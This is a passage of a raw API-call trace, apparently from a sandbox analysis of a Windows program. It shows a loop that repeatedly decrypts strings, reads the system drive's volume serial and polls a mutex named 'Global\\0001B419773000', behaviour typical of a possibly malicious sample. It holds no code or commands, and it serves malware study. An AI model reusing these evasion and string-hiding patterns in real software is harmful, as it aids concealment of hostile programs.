pbData=0x84ff8, pdwDataLen=0xd8fe6c) returned 1 [0046.805] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.805] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x8afc0 [0046.806] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x8afe8 [0046.806] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8b010 [0046.806] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9540) returned 1 [0046.806] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0046.806] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8b010, pdwDataLen=0xd8fe44 | out: pbData=0x8b010, pdwDataLen=0xd8fe44) returned 1 [0046.806] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.806] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b010 | out: hHeap=0x80000) returned 1 [0046.806] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8afc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.806] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afe8 | out: hHeap=0x80000) returned 1 [0046.806] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ff8 | out: hHeap=0x80000) returned 1 [0046.806] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.806] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0046.806] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0046.806] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9540) returned 1 [0046.806] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0046.806] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0046.806] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.806] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0046.806] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x30c [0046.806] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x0) returned 0x102 [0046.806] CloseHandle (hObject=0x30c) returned 1 [0046.806] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0046.806] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0046.807] Sleep (dwMilliseconds=0x3e8) [0047.952] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84ff8 [0047.952] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10cf70) returned 1 [0047.952] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0047.952] CryptDecrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ff8, pdwDataLen=0xd8fe6c | out: pbData=0x84ff8, pdwDataLen=0xd8fe6c) returned 1 [0047.952] CryptDestroyKey (hKey=0x10cf70) returned 1 [0047.952] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x8afc0 [0047.952] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x8afe8 [0047.952] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8b010 [0047.952] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10d030) returned 1 [0047.952] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0047.952] CryptDecrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8b010, pdwDataLen=0xd8fe44 | out: pbData=0x8b010, pdwDataLen=0xd8fe44) returned 1 [0047.952] CryptDestroyKey (hKey=0x10d030) returned 1 [0047.952] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b010 | out: hHeap=0x80000) returned 1 [0047.953] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8afc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0047.953] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afe8 | out: hHeap=0x80000) returned 1 [0047.953] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ff8 | out: hHeap=0x80000) returned 1 [0047.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.953] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0047.953] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10ccb0) returned 1 [0047.953] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0047.953] CryptDecrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0047.953] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0047.953] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324 [0047.953] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0047.953] CloseHandle (hObject=0x324) returned 1 [0047.953] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0047.953] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0047.953] Sleep (dwMilliseconds=0x3e8) [0049.242] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84ff8 [0049.242] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10ce30) returned 1 [0049.242] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0049.242] CryptDecrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ff8, pdwDataLen=0xd8fe6c | out: pbData=0x84ff8, pdwDataLen=0xd8fe6c) returned 1 [0049.242] CryptDestroyKey (hKey=0x10ce30) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x8afc0 [0049.242] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x8afe8 [0049.242] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8b010 [0049.242] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10cab0) returned 1 [0049.242] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0049.242] CryptDecrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8b010, pdwDataLen=0xd8fe44 | out: pbData=0x8b010, pdwDataLen=0xd8fe44) returned 1 [0049.242] CryptDestroyKey (hKey=0x10cab0) returned 1 [0049.242] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b010 | out: hHeap=0x80000) returned 1 [0049.242] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8afc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.242] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afe8 | out: hHeap=0x80000) returned 1 [0049.242] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ff8 | out: hHeap=0x80000) returned 1 [0049.242] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.243] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0049.243] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0049.243] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10ce30) returned 1 [0049.243] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0049.243] CryptDecrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0049.243] CryptDestroyKey (hKey=0x10ce30) returned 1 [0049.243] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0049.243] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x318 [0049.243] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0049.243] CloseHandle (hObject=0x318) returned 1 [0049.243] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0049.243] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0049.243] Sleep (dwMilliseconds=0x3e8) [0050.620] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84ff8 [0050.620] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10ceb0) returned 1 [0050.620] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0050.650] CryptDecrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ff8, pdwDataLen=0xd8fe6c | out: pbData=0x84ff8, pdwDataLen=0xd8fe6c) returned 1 [0050.671] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0050.671] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x8afc0 [0050.672] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x8afe8 [0050.672] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8b010 [0050.672] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10cbb0) returned 1 [0050.673] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0050.673] CryptDecrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8b010, pdwDataLen=0xd8fe44 | out: pbData=0x8b010, pdwDataLen=0xd8fe44) returned 1 [0050.673] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0050.673] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b010 | out: hHeap=0x80000) returned 1 [0050.674] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8afc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0050.674] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afe8 | out: hHeap=0x80000) returned 1 [0050.674] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ff8 | out: hHeap=0x80000) returned 1 [0050.675] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.677] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0050.677] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0050.677] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10d0f0) returned 1 [0050.677] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0050.678] CryptDecrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0050.678] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0050.679] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0050.679] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x31c [0050.680] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0050.681] CloseHandle (hObject=0x31c) returned 1 [0050.682] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0050.682] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0050.683] Sleep (dwMilliseconds=0x3e8) [0051.901] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88ee0 [0051.901] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10cdf0) returned 1 [0051.901] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0051.901] CryptDecrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88ee0, pdwDataLen=0xd8fe6c | out: pbData=0x88ee0, pdwDataLen=0xd8fe6c) returned 1 [0051.901] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0051.901] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88dc8 [0051.901] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88cd8 [0051.901] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0051.901] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10d0f0) returned 1 [0051.901] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0051.901] CryptDecrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0051.901] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0051.901] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0051.902] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88dc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.902] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88cd8 | out: hHeap=0x80000) returned 1 [0051.902] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88ee0 | out: hHeap=0x80000) returned 1 [0051.902] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.902] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88dc8 | out: hHeap=0x80000) returned 1 [0051.902] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0051.902] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10d0b0) returned 1 [0051.902] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0051.902] CryptDecrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0051.902] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0051.902] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0051.902] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324 [0051.902] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0051.902] CloseHandle (hObject=0x324) returned 1 [0051.902] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0051.902] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0051.902] Sleep (dwMilliseconds=0x3e8) [0053.436] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88c60 [0053.436] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10cbf0) returned 1 [0053.436] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0053.436] CryptDecrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88c60, pdwDataLen=0xd8fe6c | out: pbData=0x88c60, pdwDataLen=0xd8fe6c) returned 1 [0053.436] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88b98 [0053.436] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88be8 [0053.436] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0053.436] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10ce30) returned 1 [0053.436] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0053.436] CryptDecrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0053.436] CryptDestroyKey (hKey=0x10ce30) returned 1 [0053.436] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0053.436] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88b98, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.436] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88be8 | out: hHeap=0x80000) returned 1 [0053.436] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88c60 | out: hHeap=0x80000) returned 1 [0053.437] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.437] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88b98 | out: hHeap=0x80000) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0053.437] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10d170) returned 1 [0053.437] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0053.437] CryptDecrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0053.437] CryptDestroyKey (hKey=0x10d170) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0053.437] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x320 [0053.437] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102 [0053.437] CloseHandle (hObject=0x320) returned 1 [0053.437] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0053.437] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0053.437] Sleep (dwMilliseconds=0x3e8) [0055.102] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88e90 [0055.102] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10cab0) returned 1 [0055.103] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0055.103] CryptDecrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88e90, pdwDataLen=0xd8fe6c | out: pbData=0x88e90, pdwDataLen=0xd8fe6c) returned 1 [0055.103] CryptDestroyKey (hKey=0x10cab0) returned 1 [0055.103] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88c60 [0055.103] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88be8 [0055.103] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0055.103] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10ccf0) returned 1 [0055.103] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0055.103] CryptDecrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0055.103] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0055.103] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0055.103] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88c60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.103] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88be8 | out: hHeap=0x80000) returned 1 [0055.103] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88e90 | out: hHeap=0x80000) returned 1 [0055.103] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.103] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88c60 | out: hHeap=0x80000) returned 1 [0055.103] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0055.103] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10cdf0) returned 1 [0055.103] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0055.103] CryptDecrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0055.103] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0055.103] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0055.103] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x320 [0055.103] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102 [0055.103] CloseHandle (hObject=0x320) returned 1 [0055.103] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0055.103] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0055.103] Sleep (dwMilliseconds=0x3e8) [0056.588] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88cd8 [0056.588] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10d1f0) returned 1 [0056.588] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0056.588] CryptDecrypt (in: hKey=0x10d1f0, 